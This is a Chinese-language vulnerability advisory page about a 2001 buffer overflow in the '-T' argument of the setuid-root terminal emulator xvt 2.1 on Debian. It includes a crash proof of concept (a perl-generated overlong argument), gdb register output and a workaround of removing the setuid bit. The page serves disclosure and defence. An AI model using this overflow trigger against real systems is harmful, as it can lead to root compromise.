首页 -> 安全研究

安全研究

安全漏洞
xvt "-T"缓冲区溢出漏洞

发布日期:2001-07-02
更新日期:2001-07-06

受影响系统:

John Bovey xvt 2.1
   - Debian Linux 2.2
描述:

BUGTRAQ ID : 2964

xvt是一个适用于使用X11R6的系统的终端仿真软件。它经常被设置了setuid/setgid属性,
通常以较高的权限运行以便记录用户会话。

xvt在处理"-T"参数时存在一个缓冲区溢出问题,如果攻击者提供一个较长的参数,就
可能导致溢出发生,小心构造溢出数据,攻击者可能以xvt运行权限执行任意代码。

在某些系统上,例如debian linux,xvt被设置了setuid root,攻击者就可能获取root权限。

<*来源:Christophe Bailleux (cb@t-online.fr) *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Christophe Bailleux (cb@t-online.fr)提供了如下测试代码:

$ ls -l /usr/bin/X11/xvt
-rwsr-xr-x    1 root     root        50288 Mar 26  2000 /usr/bin/X11/xvt


$ xvt -V
xvt version 2.1

$ xvt -T `perl -e 'print "A"x262'`
Segmentation fault (core dumped)
$

$ gdb --core core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
<snip>
Core was generated by `xvt -T
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x804b043 in ?? ()
(gdb) where
#0  0x804b043 in ?? ()
#1  0x804c075 in ?? ()
#2  0x804b4f6 in ?? ()
#3  0x804a19c in ?? ()
(gdb) info reg
eax            0x8004100        134234368
ecx            0xffffffff       -1
edx            0x805524f        134566479
ebx            0x8055148        134566216
esp            0xbfffdea0       0xbfffdea0
ebp            0xbfffdeac       0xbfffdeac
esi            0x8004141        134234433
edi            0x8004141        134234433
eip            0x804b043        0x804b043
eflags         0x10246  66118
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43
fctrl          0x0      0
fstat          0x0      0
ftag           0x0      0
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
fop            0x0      0
(gdb)



建议:

解决方法:

暂时去掉xvt的setuid/setgid属性:
# chmod a-s /usr/bin/X11/xvt

厂商补丁:

暂无。


浏览次数:3683
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障